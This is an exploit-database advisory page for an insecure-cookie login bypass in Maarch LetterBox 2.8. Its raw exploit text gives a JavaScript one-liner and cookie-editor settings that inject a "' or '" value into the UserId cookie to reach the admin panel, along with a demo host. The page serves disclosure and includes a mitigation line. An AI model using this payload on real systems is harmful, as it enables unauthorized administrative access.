Maarch LetterBox 2.8 Insecure Cookie Handling Vulnerability (Login Bypass)

vendor:

Maarch LetterBox

by:

ZoRLu

7,5

CVSS

HIGH

Insecure Cookie Handling

613

CWE

Product Name: Maarch LetterBox

Affected Version From: 2.8

Affected Version To: 2.8

Patch Exists: NO

Related CWE: N/A

CPE: a:maarch:maarch_letterbox:2.8

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Maarch LetterBox 2.8 Insecure Cookie Handling Vulnerability (Login Bypass)

A vulnerability in Maarch LetterBox 2.8 allows an attacker to bypass authentication by manipulating the UserId cookie. An attacker can set the UserId cookie to a value of 'username' ' or ' which will bypass authentication and allow access to the admin panel. This can be done by either manually editing the cookie or by using a JavaScript injection.

Mitigation:

Ensure that cookies are properly validated and sanitized before being used.

Source

Exploit-DB raw data:

# Title        : Maarch LetterBox 2.8 Insecure Cookie Handling Vulnerability (Login Bypass)
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Date         : 17.11.2014
# Demo		   : http://www.era.sn/courrier
# Download 	   : http://downloads.sourceforge.net/project/maarchletterbox/MaarchLetterBox2.8.zip
# Thks         : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others

you first go here:

http://www.target.com/path/index.php?page=welcome.php

you will go login.php, but if we change our cookie's with this exploit we will be login admin panel.

exploit:

javascript:document.cookie = "UserId=[username] ' or '; path=/";

or you edit your cookie's with "Cookies Manager"

name     = maarch
contents = UserId=username ' or '
host     = your target
path     = /script_path/

and dont change other options its keep default.